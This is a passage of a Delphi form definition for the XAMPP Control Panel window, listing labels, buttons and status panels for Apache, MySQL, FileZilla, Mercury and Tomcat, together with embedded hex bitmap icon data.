4B92FBFFE9F2FEFFFFFFFFFFFFFFFFFFF7FBFFFFCEE1FEFFFFFFFFFFFFFFFFFF FFFFFFFFCCE0FDFF3685FBFF1E76FAFF76ABFCFFFAFCFEFFFFFFFEFFFEFDFCFF F6F7F8FF4A8CEDFF1768E0FF1A62CFFF2A64BCF02D66BBF01960CCFF1E6BDFFF 146AEBFF9ABEF5FFFFFFFBFFFEFEFEFFFFFFFEFF96BFFCFF106EFAFF1F77FAFF 1671FAFFB0CFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF74ABFCFF106EFAFF1D76FAFF1E76FAFFCADFFDFFFFFFFEFFFDFDFCFF FBFAF8FF629AEEFF1466E0FF1A62CFFF2A65BCF02D66BBF01960CCFF1E6BDFFF 1369EBFF98BDF5FFFFFFFCFFFEFEFEFFFFFFFEFF9CC3FCFF1672FAFF2179FAFF 1571FBFF90BCFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF71A8FDFF1672FAFF2078FAFF2077FAFFBED8FDFFFFFFFEFFFEFDFCFF F9F9F8FF5D97EEFF1566E1FF1A62CFFF2965BCF02D66BBF01960CCFF1E6BDFFF 1169EBFF84B2F5FFFFFFFCFFFEFEFEFFFFFFFEFFC3DAFDFF1E76FAFF2178FAFF 1D76FBFF3B88FCFFBAD5FEFFD9E8FEFFD9E8FEFFD9E8FEFFD9E8FEFFD9E8FEFF D9E8FEFF63A0FDFF1873FBFF2078FAFF1F77FAFFBDD7FDFFFFFFFEFFFFFEFCFF EFF3F8FF3C83EDFF1969E1FF1A62D0FF2965BCF02D66BBF01960CCFF1E6BDFFF 166CEBFF5A98F5FFFEFDFCFFFFFFFEFFFFFFFEFFF7FAFEFF4C92FBFF1872FBFF 237AFBFF1D76FBFF2078FBFF287DFBFF287DFBFF287DFBFF287DFBFF287DFBFF 287DFBFF247AFBFF2279FBFF1B75FAFF257BFAFFD8E7FEFFFFFFFEFFFFFFFCFF ABC9F6FF1A6FEDFF1D6CE1FF1A62D0FF2965BDF02D66BBF01960CCFF1E6BDFFF 1C70EBFF2779F3FFD3E3FBFFFFFFFEFFFEFEFEFFFFFFFEFFC7DDFDFF257BFBFF 1973FBFF2279FBFF2078FBFF1F77FBFF1F77FBFF1F77FBFF1F77FBFF1F77FBFF 1F77FBFF2178FBFF1F77FBFF3283FAFFB4D1FDFFFFFFFEFFFEFFFEFFFFFFFCFF 73A7F5FF126AEDFF1F6CE1FF1A62D0FF2965BDF02D66BBF01960CCFF1E6BDFFF 1F71EBFF1870F3FFB0CEFAFFFFFFFEFFFEFEFEFFFEFEFEFFFFFFFEFFC6DCFEFF 418CFCFF1873FBFF1571FBFF1873FBFF1873FBFF1873FBFF1873FBFF1973FBFF 1E76FBFF2279FBFF1F77FBFF2C7FFAFFD5E5FDFFFFFFFEFFFEFEFEFFFFFFFCFF B6D0F7FF1C70EDFF1D6CE1FF1A62D0FF2965BCF02D66BBF01960CCFF1E6BDFFF 196EEBFF478CF3FFF3F6FBFFFFFFFEFFFEFEFEFFFFFFFEFFEAF2FDFFD0E2FDFF B1D0FEFF89B7FDFF6FA7FDFF5F9EFCFF609FFCFF609FFCFF619FFCFF5E9DFCFF 3584FCFF1D76FBFF2279FBFF1672FAFF63A0FBFFFEFEFEFFFFFFFEFFFFFFFCFF EAEFF8FF337EEDFF1A6AE1FF1A62CFFF2965BCF02D66BBF01961CCFF1E6BDFFF 1269EBFF82B0F5FFFFFFFBFFFEFEFEFFFFFFFEFFD7E7FDFF3A88FBFF1F77FAFF 2078FAFFB6D3FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DCEAFEFF3886FBFF1E77FAFF1F77FAFF2C7FFAFFE3EEFEFFFFFFFEFFFEFDFCFF F7F7F8FF5291EDFF1668E0FF1A62CFFF2965BCF02D66BBF01961CBFF1E6BDEFF 1369EBFF98BEF5FFFFFFFBFFFDFDFEFFFFFFFEFF96BFFCFF106EFAFF1F77FAFF 1672FAFFA5C9FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF69A4FBFF1772FAFF2078FAFF1E77FAFFBFD8FDFFFFFFFEFFFDFDFCFF FBFAF8FF639BEEFF1466E0FF1A62CFFF2964BCF02D66BBF01960CBFF1E6BDEFF 1269EBFF94BAF5FFFFFFFBFFFDFDFDFFFFFFFEFFADCDFDFF136FFAFF1370FAFF 1B75FAFFC6DCFDFFFFFFFFFFFFFFFFFFFDFEFFFFF7FAFFFFFFFFFFFFFEFEFFFF FFFFFEFF82B3FCFF0D6CFAFF1772FAFF267BFAFFD9E8FEFFFFFFFEFFFDFDFCFF FBFAF8FF5F99EEFF1466E0FF1A62CFFF2A64BCF02D66BBF01860CBFF1E6BDEFF 136AEBFF71A5F4FFFFFFFBFFFEFEFDFFFFFFFEFFFAFBFEFF91BCFCFF5498FBFF A0C5FCFFFEFEFEFFFEFEFEFFFFFFFEFFECF4FEFFA1C6FDFFFFFFFEFFFEFEFEFF FFFFFEFFE4EEFDFF64A1FBFF3F8AFBFFA6C9FCFFFFFFFEFFFEFEFDFFFFFEFCFF F2F4F8FF4085EDFF1869E0FF1A62CFFF2A64BCF02D65BAF01860CBFF1E6BDEFF 1B6FEBFF317FF3FFE4EDFBFFFFFFFDFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFF FFFFFEFFFFFFFEFFFEFEFEFFFFFFFEFFB0CEFDFF3383FAFFEEF4FEFFFFFFFEFF FEFEFEFFFFFFFEFFFFFFFEFFF8FAFEFFFFFFFEFFFFFEFEFFFDFDFDFFFFFFFCFF BBD3F7FF1D70ECFF1D6CE0FF1A62CFFF2A64BCF02E66BAF01860CBFF1E6BDEFF 2071EAFF166FF3FF6BA4F8FFFEFEFDFFFFFFFEFFFEFEFEFFFFFEFEFFFFFFFEFF FFFEFEFFFFFFFEFFFFFFFEFFE6F0FEFF3F8BFBFF106EFAFF80B2FCFFFFFFFEFF FFFFFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFEFEFFFEFEFEFFFFFFFDFFEEF3FBFF 488DF4FF186DECFF1F6CE0FF1A62CEFF2A64BBF02E66B9F0185FC9FF1E6ADDFF 2071EAFF2074F1FF1871F5FF72A8F9FFEAF2FCFFFFFFFDFFFFFFFDFFFFFFFDFF FFFFFEFFFFFFFEFFD1E2FDFF4A91FBFF1873F9FF2178FAFF1C75FAFF8BB8FCFF F9FBFEFFFFFFFEFFFFFFFDFFFFFFFDFFFFFFFDFFFFFFFDFFE1ECFCFF5798F8FF 166EF2FF2071EBFF1F6CDFFF1A62CDFF2A64BAF02E65B8F0185EC8FF1E69DBFF 1F70E8FF2174F0FF2075F4FF1671F6FF3D88F7FF83B2F9FFBDD5FAFFD1E2FBFF B8D3FAFF74A9F9FF297DF8FF1972F7FF2278F8FF2278F8FF1F76F8FF1872F7FF 5093F9FFABCBFAFFE7EFFBFFF1F5FBFFD2E2FBFF8BB8F9FF3683F6FF1770F4FF 2174F1FF1F70E9FF1E6ADDFF1960CBFF2A64B9F02F65B5F0175DC4FF1E68D7FF 1F6EE3FF2072ECFF2074F0FF1F74F2FF1970F3FF116CF3FF1C72F3FF2276F3FF 1A71F3FF116CF3FF1A71F4FF1E74F4FF1D74F4FF1D74F4FF1D74F4FF1D73F4FF 146EF3FF176FF3FF297AF3FF2E7DF3FF2276F3FF136DF3FF1A71F2FF2173F1FF 2072EDFF1F6FE5FF1E69D9FF185FC7FF2B63B6F13769B3F11558BDFF1C64D0FF 1D6ADCFF1C6CE3FF1B6DE7FF2474EBFF2C7AEEFF317DEFFF317EEFFF327EF0FF 337FF0FF3580F0FF3580F0FF3580F0FF3580F0FF3580F0FF3580F0FF3580F0FF 3580F0FF347FF0FF317EF0FF307CEFFF2F7CEFFF2D7AEEFF2575ECFF1C6EE8FF 1C6DE4FF1E6BDDFF1D65D2FF175BC0FF2D63B2EE2B5FAACF1554B3FF1B5FC5FF 1A63D0FF2A71DCFF5793EBFF76A8F3FF80AFF6FF83B1F6FF84B1F6FF84B2F6FF 84B2F6FF84B2F6FF84B2F6FF84B2F6FF84B2F6FF84B2F6FF84B2F6FF84B2F6FF 84B2F6FF84B2F6FF84B2F6FF84B1F6FF83B1F6FF81AFF6FF78AAF4FF5D97EDFF 2F75DEFF1A63D1FF1B60C7FF1857B6FF1F57A8CE3A68ADA6104BA3FF1656B4FF 2A69C8FF6E9FE8FF87B1F2FF83AFF1FF81ADF1FF80ADF0FF7FACF0FF7FACF0FF 7FACF0FF7FACF0FF7EACF0FF7FACF0FF7FACF0FF7FACF0FF7FACF0FF7EACF0FF 7FACF0FF7FACF0FF7FACF0FF7FACF0FF80ADF0FF81ADF1FF83AFF1FF87B2F2FF 76A5EBFF3270CCFF1656B6FF104BA5FF3A68ACC28EA7CC50184C9AFF0E489EFF 1A55ADFF2661B9FF2763BDFF2663BDFF2361BDFF2361BEFF2260BDFF2160BDFF 2160BDFF2160BDFF2160BDFF2160BDFF2160BDFF205FBDFF205FBCFF205FBCFF 205FBDFF205FBDFF205FBDFF205FBDFF2160BDFF2462BEFF2664BEFF2964BDFF 2963BAFF1D58AFFF104AA1FF0F4698FF819CC66FB7C7DE006E90C3523B69ADAC 2B5BA5D43363ABF0275CAAF0255BAAF0245AABF01C54A7F01C54A7F01C54A7F0 1C54A7F01C54A7F01C54A7F01C54A7F01C54A8F0235AABF0235AABF0235AABF0 235AABF0235AABF0245AABF0245AABF0245AABF01C54A7F01D54A6F01D53A4F0 2156A4F02154A1E63362A9C25D83BC5F9EB5D701000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000080000000} end object lHeader: TLabel Left = 131 Top = 12 Width = 238 Height = 26 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'XAMPP Control Panel v' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -23 Font.Name = 'Arial' Font.Style = [] ParentFont = False end object reLog: TRichEdit Left = 9 Top = 271 Width = 814 Height = 204 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Anchors = [akLeft, akTop, akRight, akBottom] Font.Charset = ANSI_CHARSET Font.Color = clWindowText Font.Height = -17 Font.Name = 'Arial' Font.Style = [] HideSelection = False ParentFont = False ScrollBars = ssBoth TabOrder = 8 WordWrap = False end object bConfig: TBitBtn Left = 721 Top = 7 Width = 105 Height = 31 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -13 Font.Name = 'Arial' Font.Style = [] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFDC9B73 D58351D17D4BDFA37FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFE1A784DFA481EAC2ABEAC0A8DC9971DFA481FFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDB976FEDC8B3 E7B89BE6B498EAC3ABDE9C73DFA682FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFDD9F79EDCCB7E8BDA3E4B192E6B69AEAC3ACDE9C74E1 A987FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEDCBB6E6B394 EECCB8E9BEA5E5B394E6B79BEAC4ADDE9E78E1AA88FFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFEDCBB8E6B498EECDBAE9BFA5E5B496E7B99DEB C6AEDE9F79E3AC8BFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF EECDB9E6B799EECEBBE9C0A7E8BDA3ECC8B3DFA481DCA27FFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEECEBAE6B79CEFCFBCEECEBAE2 AE8CD29B7B8C8C8CEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFEECEBBE7B99CE6B698D8A98CD2D2D2B5B5B58989898989898787 87979797C8C8C8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFD0BDE1B89E94 9494C7C7C7CCCCCCC7C7C7C6C6C6C3C3C3C0C0C0898989C8C8C8FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE1E1E1939393D4D4D4C8C8C8BCBCBCBABA BAC2C2C2C4C4C4999999FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFF979797DDDDDDC5C5C5AAAAAAA8A8A8ACACACD7D7D7898989FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9A9AE4E4E4CFCFCFACACACFFFF FF8E8E8E8C8C8C8C8C8CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFABABABE2E2E2E7E7E7B9B9B9939393FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD4D4D49F9F9FE4E4E4EEEEEE9696 96FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFD4D4D4ACACAC9D9D9D9B9B9BFFFFFFFFFFFFFFFFFF} ParentFont = False TabOrder = 0 OnClick = bConfigClick end object bSCM: TBitBtn Left = 721 Top = 159 Width = 105 Height = 30 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Services' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFF18435A2B62894C8ABE70A9CCE3EDF5FFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF2D668394C7F991C9F941 85C92065A7616E7A696969858585FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFDEDEDE4389AAE0F2FF549AD81A7ABE4998C5488EC7D9E7F4939393D4D4 D4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6F6F6627F937AB6D590B7D155 C9E45BDFF578D0ED4A95D56D7882FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFF93B5C674B8D5C2F6FD63DFF75DE2F879D3F04A99DCE6F1 FAFFFFFFFFFFFFFFFFFFFFFFFFCFCFCFB5B5B5B1B1B1AEAEAEA3A3A384A9BA77 CBE7C7F7FD5EDCF55AE1F77BD4F14695D87C8E9DB9B9B9FFFFFFFFFFFFAEAEAE E4E3E3D7D6D5D6D3D2DBD8D7C4C1C19FC4D179D3EEC7F7FD5FDCF55BE2F77AD6 F24E9FDE697783FFFFFFFFFFFFB4B4B4E0DEDDA7724DA7724DA7724DA7724DA7 724D8285787CD3EDC4F6FD6CDDF66DCAED63A3D75F98CBE5EFF7FFFFFFBABABA DEDBDBA7724DC8926CCA946DCC966ECD9770CF997197A49880D4EBB2E3F98BC0 E7AED3F6C4E0FC6BA2D4FFFFFFBFBFBFDFDCDBA7724DC7916BC9936CCB956ECD 976FCE9872D4A27D96ABA377BEE7B4D2F0E5F3FFACD2EF5996CCFFFFFFC4C4C4 E1DEDCA7724DC7916AC8926CCA946DD09D78D5A888D8AC8CD7A784A1A79D58A5 D885B1DB469DD0B1D8EEFFFFFFC9C9C9E1DEDEA7724DC6906AC7916BCE9E7AD7 AE90D9AF91D6A989D5A582D6A47EA7724DDBD6D6909090FFFFFFFFFFFFCECECE E2DFDFA7724DC58F69CB9975D6AE92DAB59AD9B092D7AC8DD7A988D7A885A772 4DDBD7D7969696FFFFFFFFFFFFD2D2D2E2E0DFA7724DA7724DA7724DA7724DA7 724DA7724DA7724DA7724DA7724DA7724DDCD9D89D9D9DFFFFFFFFFFFFD5D5D5 F1EFEFE3E1DFE2E0DFE2DFDFE2DFDEE1DEDEE1DEDDE0DDDCDFDCDCDFDCDBDEDB DBEEECECA3A3A3FFFFFFFFFFFFD8D8D8D6D6D6D4D4D4D1D1D1CECECECACACAC7 C7C7C3C3C3BFBFBFBBBBBBB7B7B7B2B2B2AEAEAEA9A9A9FFFFFF} ParentFont = False TabOrder = 1 OnClick = bSCMClick end object gbModules: TGroupBox Left = 9 Top = 44 Width = 704 Height = 221 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = ' Modules ' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] ParentFont = False TabOrder = 2 object lPIDs: TLabel Left = 173 Top = 18 Width = 43 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taRightJustify Caption = 'PID(s)' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lPorts: TLabel Left = 313 Top = 18 Width = 48 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taRightJustify Caption = 'Port(s)' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lApachePIDs: TLabel Left = 162 Top = 40 Width = 65 Height = 33 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taCenter AutoSize = False Layout = tlCenter WordWrap = True end object lApachePorts: TLabel Left = 246 Top = 41 Width = 115 Height = 34 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taRightJustify AutoSize = False Color = clBtnFace ParentColor = False Layout = tlCenter end object lMySQLPIDs: TLabel Left = 162 Top = 83 Width = 65 Height = 17 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taCenter AutoSize = False Layout = tlCenter end object lMySQLPorts: TLabel Left = 246 Top = 84 Width = 115 Height = 17 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taRightJustify AutoSize = False Layout = tlCenter end object lFileZillaPorts: TLabel Left = 246 Top = 119 Width = 115 Height = 17 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taRightJustify AutoSize = False Layout = tlCenter end object lFileZillaPIDs: TLabel Left = 162 Top = 119 Width = 65 Height = 17 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taCenter AutoSize = False Layout = tlCenter end object lMercuryPorts: TLabel Left = 226 Top = 144 Width = 135 Height = 38 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taRightJustify AutoSize = False Layout = tlCenter WordWrap = True end object lMercuryPIDs: TLabel Left = 162 Top = 154 Width = 65 Height = 17 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taCenter AutoSize = False Layout = tlCenter end object lServices: TLabel Left = 8 Top = 18 Width = 55 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taCenter Caption = 'Service' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lModules: TLabel Left = 86 Top = 18 Width = 53 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taCenter Caption = 'Module' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lActions: TLabel Left = 384 Top = 18 Width = 52 Height = 18 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Actions' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -15 Font.Name = 'Arial' Font.Style = [fsBold] ParentFont = False end object lTomcatPorts: TLabel Left = 226 Top = 179 Width = 135 Height = 38 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taRightJustify AutoSize = False Layout = tlCenter WordWrap = True end object lTomcatPIDs: TLabel Left = 162 Top = 190 Width = 65 Height = 17 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Alignment = taCenter AutoSize = False Layout = tlCenter end object bApacheAction: TBitBtn Left = 378 Top = 44 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Start' TabOrder = 0 OnClick = bApacheActionClick end object bApacheAdmin: TBitBtn Left = 459 Top = 44 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Admin' TabOrder = 1 OnClick = bApacheAdminClick end object bMySQLAction: TBitBtn Left = 378 Top = 80 Width = 75 Height = 27 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Start' TabOrder = 2 OnClick = bMySQLActionClick end object bMySQLAdmin: TBitBtn Left = 459 Top = 80 Width = 75 Height = 27 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Admin' TabOrder = 3 OnClick = bMySQLAdminClick end object bFileZillaAction: TBitBtn Left = 378 Top = 115 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Start' TabOrder = 4 OnClick = bFileZillaActionClick end object bFileZillaAdmin: TBitBtn Left = 459 Top = 115 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Admin' TabOrder = 5 OnClick = bFileZillaAdminClick end object bMercuryAction: TBitBtn Left = 378 Top = 150 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Start' TabOrder = 6 OnClick = bMercuryActionClick end object bMercuryAdmin: TBitBtn Left = 459 Top = 150 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Admin' TabOrder = 7 OnClick = bMercuryAdminClick end object pApacheStatus: TPanel Left = 70 Top = 46 Width = 85 Height = 22 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 BevelOuter = bvNone Caption = 'Apache' ParentBackground = False TabOrder = 8 end object bApacheConfig: TBitBtn Left = 540 Top = 44 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' TabOrder = 9 OnClick = bApacheConfigClick end object bApacheLogs: TBitBtn Left = 620 Top = 44 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' TabOrder = 10 OnClick = bApacheLogsClick end object bMySQLConfig: TBitBtn Left = 540 Top = 80 Width = 75 Height = 27 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' TabOrder = 11 OnClick = bMySQLConfigClick end object bMySQLLogs: TBitBtn Left = 620 Top = 80 Width = 75 Height = 27 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' TabOrder = 12 OnClick = bMySQLLogsClick end object bFileZillaConfig: TBitBtn Left = 540 Top = 115 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' TabOrder = 13 OnClick = bFileZillaConfigClick end object bFileZillaLogs: TBitBtn Left = 620 Top = 115 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' TabOrder = 14 OnClick = bFileZillaLogsClick end object bMercuryConfig: TBitBtn Left = 540 Top = 150 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' TabOrder = 15 OnClick = bMercuryConfigClick end object pMySQLStatus: TPanel Left = 70 Top = 81 Width = 85 Height = 22 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 BevelOuter = bvNone Caption = 'MySQL' ParentBackground = False TabOrder = 16 end object pFileZillaStatus: TPanel Left = 70 Top = 116 Width = 85 Height = 23 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 BevelOuter = bvNone Caption = 'FileZilla' ParentBackground = False TabOrder = 17 end object pMercuryStatus: TPanel Left = 70 Top = 152 Width = 85 Height = 22 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 BevelOuter = bvNone Caption = 'Mercury' ParentBackground = False TabOrder = 18 end object bMySQLService: TBitBtn Left = 24 Top = 80 Width = 27 Height = 27 Hint = 'Is installed as a Windows Service?' Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ParentShowHint = False ShowHint = True TabOrder = 19 OnClick = bMySQLServiceClick end object bFileZillaService: TBitBtn Left = 24 Top = 114 Width = 27 Height = 28 Hint = 'Is installed as a Windows Service?' Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ParentShowHint = False ShowHint = True TabOrder = 20 OnClick = bFileZillaServiceClick end object bApacheService: TBitBtn Left = 24 Top = 44 Width = 27 Height = 28 Hint = 'Is installed as a Windows Service?' Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ParentShowHint = False ShowHint = True TabOrder = 21 OnClick = bApacheServiceClick end object bMercurylogs: TBitBtn Left = 620 Top = 150 Width = 75 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' TabOrder = 22 OnClick = bMercurylogsClick end object bTomcatAction: TBitBtn Left = 378 Top = 186 Width = 75 Height = 27 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Start' TabOrder = 23 OnClick = bTomcatActionClick end object bTomcatAdmin: TBitBtn Left = 459 Top = 186 Width = 75 Height = 27 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Admin' TabOrder = 24 OnClick = bTomcatAdminClick end object bTomcatConfig: TBitBtn Left = 540 Top = 186 Width = 75 Height = 27 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Config' TabOrder = 25 OnClick = bTomcatConfigClick end object pTomcatStatus: TPanel Left = 70 Top = 191 Width = 85 Height = 17 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 BevelOuter = bvNone Caption = 'Tomcat' ParentBackground = False TabOrder = 26 end object bTomcatLogs: TBitBtn Left = 620 Top = 186 Width = 75 Height = 27 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Logs' TabOrder = 27 OnClick = bTomcatLogsClick end object bTomcatService: TBitBtn Left = 24 Top = 186 Width = 27 Height = 27 Hint = 'Is installed as a Windows Service?' Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 ParentShowHint = False ShowHint = True TabOrder = 28 OnClick = bTomcatServiceClick end object bMercuryService: TBitBtn Left = 24 Top = 150 Width = 27 Height = 28 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Enabled = False TabOrder = 29 OnClick = bFileZillaServiceClick end end object sbMain: TStatusBar Left = 0 Top = 483 Width = 832 Height = 19 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Panels = <> end object bQuit: TBitBtn Left = 721 Top = 236 Width = 105 Height = 30 Margins.Left = 4 Margins.Top = 4 Margins.Right = 4 Margins.Bottom = 4 Caption = 'Quit' Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -14 Font.Name = 'Arial' Font.Style = [] Glyph.Data = { 36030000424D3603000000000000360000002800000010000000100000000100 1800000000000003000074120000741200000000000000000000FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFB7B7B7AEAEAE3071A92C6EA6286BA32468A021 669E1D639B1A6199175F97145C94115B936C6C6C6C6C6CFFFFFFFFFFFFFFFFFF FFFFFF3675AD86B6D883B3D781B2D67DAFD57BADD479ABD376AAD274A8D1155D 95FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3C79B18BB9DA66A2CE62A0CD5F 9DCB5B9AC95897C85495C777ABD3196098FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFF427DB58FBDDC6CA7D067A4CF64A1CD609ECC5C9BCA5999C97BADD41E64 9CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4882BA93C0DD71ABD26DA8D169 